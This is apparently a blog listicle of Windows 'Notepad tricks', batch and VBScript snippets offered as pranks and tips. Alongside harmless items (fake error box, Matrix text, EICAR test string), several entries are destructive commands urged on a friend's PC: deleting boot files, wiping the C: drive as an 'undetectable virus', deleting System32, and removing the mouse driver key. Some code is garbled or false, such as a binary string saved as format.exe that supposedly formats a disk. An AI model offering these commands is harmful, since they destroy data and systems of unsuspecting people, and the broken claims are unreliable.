20+ Best Ever Cool Notepad Tips And Tricks

We all are very much familiar with one of the simplest text editor that is Notepad provided by Microsoft. It comes pre-installed in every version of Microsoft Windows. It comes with simple to use interface and handy features. Notepad is a perfect solution for quick notes storage or anything in text that would like to save immediately. The extension used by Notepad to save files is .txt. We can call it as light weight text editor and I don’t need to explain the reason. 

Notepad Tips & Tricks
Notepad Tips & Tricks

Actually Notepad was designed for text editing and programming both. We can use it for multitasking; from a text editor to destroy someone’s personal computer. Yeah, I said it right; you can perform programming codes within Notepad to execute several pranks easily. It’s just not used for .txt extension rather opens several unknown extensions. Hundreds of programming commands are in-built in it. We just need to execute them using several extensions. 


Just write the commands, save it, compile it and you’re done. Today in this guide I am going to show you some cool notepad tricks and tips. All these note pad tricks depend on your hardware so it can happen that some of them might not work for you. And try them on your own risk, we won’t be responsible for any data loss or system crash.

20+ Cool Notepad Tricks And Tips

1. Fake Windows Error Using Notepad

If you want to show fake error message in your friend’s system then use this trick. 

  • Open Notepad.
  • Now Type X=Msgbox(“Message Here”,0+16,”Title Here”)
  • Replace Message Here and Title Here with your Error Message and Error-Window Title respectively.
  • Save the file with Windows_Error.vbs.
  • Now, double click on the file and see the error message made by you.

2. Create Password Protected Folder Using Notepad

This trick can be used if you don’t wanna use any third party tool to lock your folder. This will build a folder with a password on it.
  • Open Notepad.
  • Copy the following code and paste in Notepad.
@ECHO OFF
title Folder Private
if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK
if NOT EXIST Private goto MDLOCKER
:CONFIRM
echo Are you sure you want to lock the folder(Y/N)
set/p “cho=>”
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Private “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
attrib +h +s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
echo Folder locked
goto End
:UNLOCK
echo Enter password to unlock folder
set/p “pass=>”
if NOT %pass%== crunchytricks.com goto FAIL
attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Private
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Private
echo Private created successfully
goto End
:End
  • Change crunchytricks.com written in red letters with your desired password.
  • Save the file as CrunchyTricks.bat with File Type As All Files (*.*).
  • Now, when you open CrunchyTricks.bat, it will create a folder named as CrunchyTricks. Move your private files, documents and folders here.
  • Close the folder then.
  • Now, no one will be able to open the folder without the password.

3. Make CD Drive Open And Close Continuously
This prank will open and close your CD Drive continuously. You can make your friends scare using it.

  • Open Notepad.
  • Enter the following command:

Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

  • Save file as anything.vbs.
  • Now, simply open the file and prank your friends easily.

To stop the process, open Task Manager by pressing Alt+Ctrl+Del and stop anything.vbs process.


4. Create Matrix Code Using Notepad

  • Open Notepad.
  • Type the following command:

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start


or you can use an alternative of this code.


@echo off
:a
color 2
echo 1 1 1 0 1 0 0 0 1 1 1 1 0 0 0 1 1 0 0 1 0 0 0 1 1 0 1 0 1 0 0 0 1 1 1 1
ping localhost -n 1 > nul
echo 1 1 0 1 1 1 0 0 0 1 0 1 a f h 0 0 0 1 0 1 1 0 0 1 1 1 0 0 1 0 1 0 0 1 1 0
echo 1 0 0 1 1 0 9 8 1 2 0 1 9 9 2 1 1 1 0 0 1 0 1 1 1 0 1 1 0 1 0 0 0 1 0 1 1
ping localhost -n 1 > nul
echo 0 1 0 0 0 1 0 0 0 1 0 0 0 1 0 1 0 0 1 0 1 0 1 1 0 1 0 0 0 01 0 1 0 0 1 0
ping localhost -n 1 > nul
echo 1 0 1 1 1 0 1 1 0 9 1 1 2 1 1 0 9 1 0 5 7 7 8 7 8 1 3 2 1 2 1 2 3 2 1 3 4
ping localhost -n 1 > nul
echo 1 1 1 0 1 0 0 1 0 0 0 1 1 1 0 0 1 1 1 4 1 2 1 1 2 0 1 0 1 2 2 1 0 1 1 0 1

goto a

  • Save the file as Matrixcode.bat.
  • Open the file and see the magic.
5. Keyboard LED Dance Using Notepad
  • Open Notepad.
  • Enter the following code.
Set wshShell =wscript.CreateObject(“WScript.Shell”)

 

do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
wshshell.sendkeys “{NUMLOCK}”
wshshell.sendkeys “{SCROLLLOCK}”
loop
  • Save the file as LEDDance.vbs
  • Click on the file and your all three LED lights will start dancing.
To stop the process simply Shut down or Log off your PC.
6. Test Your Antivirus Using Notepad: EICAR Test File
Your system is having antivirus? If yes, then do you want to check whether it is working or not? simply use the below code.
  • Open Notepad.
  • Copy the following code:

X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

  • Save the file as antivirustest.COM.
If your antivirus’ real-time protection is working perfectly, it will show you alert and quarantine the file by considering it malware.
7. Use Your Notepad as Diary
  • Open your Notepad.
  • Type following piece of code in Notepad:
.LOG (in capital letters)
  • Save it as Anything.txt.
  • Open it again.
  • When you open the file again you will see the current date and time being inserted automatically after the .LOG line.
  • This will happen automatically every time you reopen the the notepad file.
8. Shutdown Your Windows Forcefully Using Notepad
  • Open Notepad.
@echo off
msg * System will now shut down
shutdown -c “Bye!” –s
  • Save the file as shutdown.BAT.
  • Open the file and it will automatically shutdown your Windows.

9. Toggle Capslock Repeatedly Using Notepad

You can make someone fool using toggle Caps Lock repeatedly. Use the following piece of code for this awesome trick.
  • Open your Notepad.
  • Just copy and Paste the code written down below into notepad.
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
  • Now save it as togglecl.vbs file and open it to see the magic.
10. How To Type Slow In Notepad
This trick will force you to type the text slowly. It happens because of delay in different strings when you type.
  • Just copy and paste the text below into notepad and save it as typeslow.vbs file.
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “
  • Double click on the file and start typing in notepad.
11. Make Computer Speak What You Want
This Notepad trick will make computer to speak whatever you type. To take benefit, simply execute below mentioned code.
  • Open Notepad.
  • Copy & paste this command:
Dim message, sapi
message=InputBox(“What do you want me to say?”,”Speak to Me”)
Set sapi=CreateObject(“sapi.spvoice”)
sapi.Speak message
  • Save the file as speaktext.vbs.
  • Double click on the file and it will open a window. Enter the text you want your computer to speak
  • Click OK and Notepad will speak the sentence for you.
12. Cool World Trade Center Attack Trick
According to this trick, if you enter the flight number of the flight that struck the twin tower, i.e. Q33N in notepad and then change the font type to ‘wingdings’ and the font size to 72, then you’ll see a very strange thing.
It’s one of the awesome trick but unfortunately is a hoax as no such flight struck the twin towers.
 
13. Delete Startup Files Using Notepad
  • Open Notepad and type below code.
@ECHO OFF
ATTRIB -R -S -H C:AUTOEXEC.BAT
DEL C:AUTOEXEC.BAT
ATTRIB -R -S -H C:BOOT.INI
DEL C:BOOT.INI
ATTRIB -R -S -H C:NTLDR
DEL C:NTLDR
ATTRIB -R -S -H C:WINDOWSWIN.INI
DEL C:WINDOWSWIN.INI
SAVE IT AS .BAT FILE.
  • This will shut the computer down and delete all the files required to get your computer into a normal state.
  • Try this trick on your own risk.
14. Hit Enter Continuously Using Notepad
If you’re in a need of hitting enter button continuously for several times then rather pressing it manually you can use below code.
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
  • Save it as entercontinue.vbs file and keep ready to amaze.
15. Hit Backspace Continuously Using Notepad
Similarly if you wish to press backspace button continuously then this would be the perfect code for you.
MsgBox “Backspace again and again and AGAIN”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
  • Save as backspaceC.vbs file and hit enter.
16. Typing Something Again and Again
It’s an fabulous code to type something again and again. You can use it to write anything again and again and again, until you get it out of the loop.
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “I’ll be typed again and again”
loop
  • Save it as SANA.vbs file to make it work.
17. Your Own Virus That Cant Be Detected By Antivirus
 
@Echo off
Del C: *.* |y
  • Save it as virus.bat and double click.
  • It will delete the content of C: drive. (Try on your own risk)
18. Format HardDisk Using Notepad
  • Open notepad.
  • Type the following code in it.
01100110011011110111001001101101011000010111010000 100000011000110011101001011100 0010000000101111010100010010111101011000
  • Save it as format.exe.
  • Thats It ! Now just double click on the file and your C: drive will be formatted.
19. Disable Mouse Using Notepad
rem Disable Mouse
set key=”HKEY_LOCAL_MACHINEsystemCurrentControlSetServicesMouclass”
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
  • Save the file as disablemouse.vbs and run it to disable mouse functionality.
20. Change Header And Footer In Notepad
  • Navigate to File -> Page setup in notepad, and then in the fields for header and footer, type any of these codes.
&l Left-align the characters that follow
&c Center the characters that follow
&r Right-align the characters that follow
&d Print the current date
&t Print the current time
&f Print the name of the document
&p Print the page number
21. Delete System32 Files Using Notepad

 

  • Just paste the following in notepad and save it as delsys32.bat file.
DEL C:WINDOWSSYSTEM32*.*/Q
  • Open file and that’s it.
So this was all about some of the best notepad tips and tricks. Please let us know if any of them is not working for you. For any query or doubt paste your comment here.
Scroll to Top